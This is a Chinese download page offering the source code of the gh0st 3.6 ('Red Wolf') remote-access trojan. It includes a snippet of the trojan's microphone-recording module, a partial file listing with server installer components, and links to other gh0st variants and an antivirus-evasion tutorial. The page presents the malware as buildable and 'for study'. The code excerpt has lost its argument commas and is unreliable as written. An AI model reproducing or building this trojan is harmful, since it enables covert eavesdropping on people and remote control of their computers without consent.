资源简介
红狼远控gh0st3.6版本的vs2010工程源码,可通过vs2010 vs2013 vs2015 vs2017进行编译,已去除硬盘锁,并且代码加上详细注释可供学习参考。
代码片段和文件信息
// Audio.cpp: implementation of the CAudio class.
//
#include “Audio.h“
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CAudio::CAudio()
{
m_hEventWaveIn = CreateEvent(NULL false false NULL);
m_hStartRecord = CreateEvent(NULL false false NULL);
m_hThreadCallBack = NULL;
m_nWaveInIndex = 0;
m_nWaveOutIndex = 0;
m_nBufferLength = 1000; // m_GSMWavefmt.wfx.nSamplesPerSec / 8(bit)
m_bIsWaveInUsed = false;
m_bIsWaveOutUsed = false;
for (int i = 0; i < 2; i++)
{
m_lpInAudioData[i] = new BYTE[m_nBufferLength];
m_lpInAudioHdr[i] = new WAVEHDR;
m_lpOutAudioData[i] = new BYTE[m_nBufferLength];
m_lpOutAudioHdr[i] = new WAVEHDR;
}
memset(&m_GSMWavefmt 0 sizeof(GSM610WAVEFORMAT));
m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610; // ACM will auto convert wave format
m_GSMWavefmt.wfx.nChannels = 1;
m_GSMWavefmt.wfx.nSamplesPerSec = 8000;
m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625;
m_GSMWavefmt.wfx.nBlockAlign = 65;
m_GSMWavefmt.wfx.wBitsPerSample = 0;
m_GSMWavefmt.wfx.cbSize = 2;
m_GSMWavefmt.wSamplesPerBlock = 320;
}
CAudio::~CAudio()
{
if (m_bIsWaveInUsed)
{
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for (int i = 0; i < 2; i++)
waveInUnprepareHeader(m_hWaveIn m_lpInAudioHdr[i] sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
TerminateThread(m_hThreadCallBack -1);
}
if (m_bIsWaveOutUsed)
{
waveOutReset(m_hWaveOut);
for (int i = 0; i < 2; i++)
waveOutUnprepareHeader(m_hWaveOut m_lpInAudioHdr[i] sizeof(WAVEHDR));
waveOutClose(m_hWaveOut);
}
for (int i = 0; i < 2; i++)
{
delete [] m_lpInAudioData[i];
delete m_lpInAudioHdr[i];
delete [] m_lpOutAudioData[i];
delete m_lpOutAudioHdr[i];
}
CloseHandle(m_hEventWaveIn);
CloseHandle(m_hStartRecord);
CloseHandle(m_hThreadCallBack);
}
LPBYTE CAudio::getRecordBuffer(LPDWORD lpdwBytes)
{
// Not open WaveIn yet so open it...
if (!m_bIsWaveInUsed && !InitializeWaveIn())
return NULL;
if (lpdwBytes == NULL)
return NULL;
SetEvent(m_hStartRecord);
WaitForSingleobject(m_hEventWaveIn INFINITE);
*lpdwBytes = m_nBufferLength;
return m_lpInAudioData[m_nWaveInIndex];
}
bool CAudio::playBuffer(LPBYTE lpWaveBuffer DWORD dwBytes)
{
if (!m_bIsWaveOutUsed && !InitializeWaveOut())
return NULL;
for (int i = 0; i < dwBytes; i += m_nBufferLength)
{
memcpy(m_lpOutAudioData[m_nWaveOutIndex] lpWaveBuffer m_nBufferLength);
waveOutWrite(m_hWaveOut m_lpOutAudioHdr[m_nWaveOutIndex] sizeof(WAVEHDR));
m_nWaveOutIndex = 1 - m_nWaveOutIndex;
}
return true;
}
bool CAudio::InitializeWaveIn()
{
if (!waveInGetNumDevs())
return false;
MMRESULT mmResult;
DWORD dwThreadID = 0;
m_hThreadCallBack = CreateThread(NULL 0 (LPTHREAD_START_ROUTINE)waveInCallBack (LPVOID)this CREATE_SUSPENDED
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
目录 0 2019-01-29 10:57 gh0st\
文件 398 2016-02-21 10:57 gh0st\removejunk.bat
目录 0 2019-04-05 13:30 __MACOSX\
目录 0 2019-04-05 13:30 __MACOSX\gh0st\
文件 212 2016-02-21 10:57 __MACOSX\gh0st\._removejunk.bat
文件 81723392 2019-01-29 10:57 gh0st\gh0st.sdf
文件 212 2019-01-29 10:57 __MACOSX\gh0st\._gh0st.sdf
目录 0 2019-01-29 11:01 gh0st\Bin\
文件 212 2019-01-29 11:01 __MACOSX\gh0st\._Bin
文件 64512 2019-01-29 10:57 gh0st\gh0st.v12.suo
文件 212 2019-01-29 10:57 __MACOSX\gh0st\._gh0st.v12.suo
目录 0 2019-01-28 15:47 gh0st\Server\
目录 0 2019-01-28 15:47 gh0st\Server\install\
目录 0 2019-01-29 11:01 gh0st\Server\install\res\
目录 0 2019-04-05 13:30 __MACOSX\gh0st\Server\
目录 0 2019-04-05 13:30 __MACOSX\gh0st\Server\install\
文件 212 2019-01-29 11:01 __MACOSX\gh0st\Server\install\._res
文件 771 2016-02-21 10:57 gh0st\Server\install\StdAfx.h
文件 212 2016-02-21 10:57 __MACOSX\gh0st\Server\install\._StdAfx.h
文件 3644 2016-02-21 10:57 gh0st\Server\install\install.vcproj
文件 212 2016-02-21 10:57 __MACOSX\gh0st\Server\install\._install.vcproj
文件 15385 2016-02-21 10:57 gh0st\Server\install\acl.h
文件 212 2016-02-21 10:57 __MACOSX\gh0st\Server\install\._acl.h
文件 1629 2019-01-25 13:32 gh0st\Server\install\install.rc
文件 212 2019-01-25 13:32 __MACOSX\gh0st\Server\install\._install.rc
文件 1229 2019-01-24 15:24 gh0st\Server\install\install.vcxproj.filters
文件 212 2019-01-24 15:24 __MACOSX\gh0st\Server\install\._install.vcxproj.filters
目录 0 2019-01-29 11:01 gh0st\Server\install\Release\
文件 212 2019-01-29 11:01 __MACOSX\gh0st\Server\install\._Release
文件 7333 2016-02-21 10:57 gh0st\Server\install\RegEditEx.h
文件 212 2016-02-21 10:57 __MACOSX\gh0st\Server\install\._RegEditEx.h
............此处省略623个文件信息
相关资源
- UEFI下使用Ghost一键安装还原GPT分区系
- Ghost官方64位原版
- 把硬盘分四个区GHOST镜像文件 HD4.GHO
- 硬盘安装工具 CGI 3.2多核心,纯净且功
- Ghost远控源码免杀详讲
- Ghost Win7 SP1 x64 繁体中文纯净版2018.0
- 凡窝GHOST远控原饭客论坛专用远控
- 3.75原版GHOST.rar
- Gh0St3.75完美稳定版服务端ARP
- 华中帝国GH0ST远控3.75美化版
- Gh0st 3.75.rar原版
- 基于Gh0st3.8修改编译成功的远程控制源
- ghost3.79源码
- gh0st-2013最新版源码
- GH0ST3.77主控源码+DLL源码.rar
- GhostCat序列帧工具
- gh0st3.78.rar
- 功能强大的串口工具:GhostyComm 4.0万能
- ghost 64bit11.51
- 远程控制软件 ghost3.6
- zw_gh0st-2013最新版源码.zip
- ghostdoc自动生成注释最新版支持vs201
- gh0st3.6 win7x64 vs2013可编译运行
- 一键GHOST硬盘版2016
- GhostCatTools
- XTP库文件 编译远控源码必备
- 一键GHOST_v2017.02.17_硬盘版(去推广_支
- Gh0st 2013源码.zip
- WIN7 x64 语音组件包
-
Ghostsc
ript 9.22 for Windows (64 bit)
评论
共有 条评论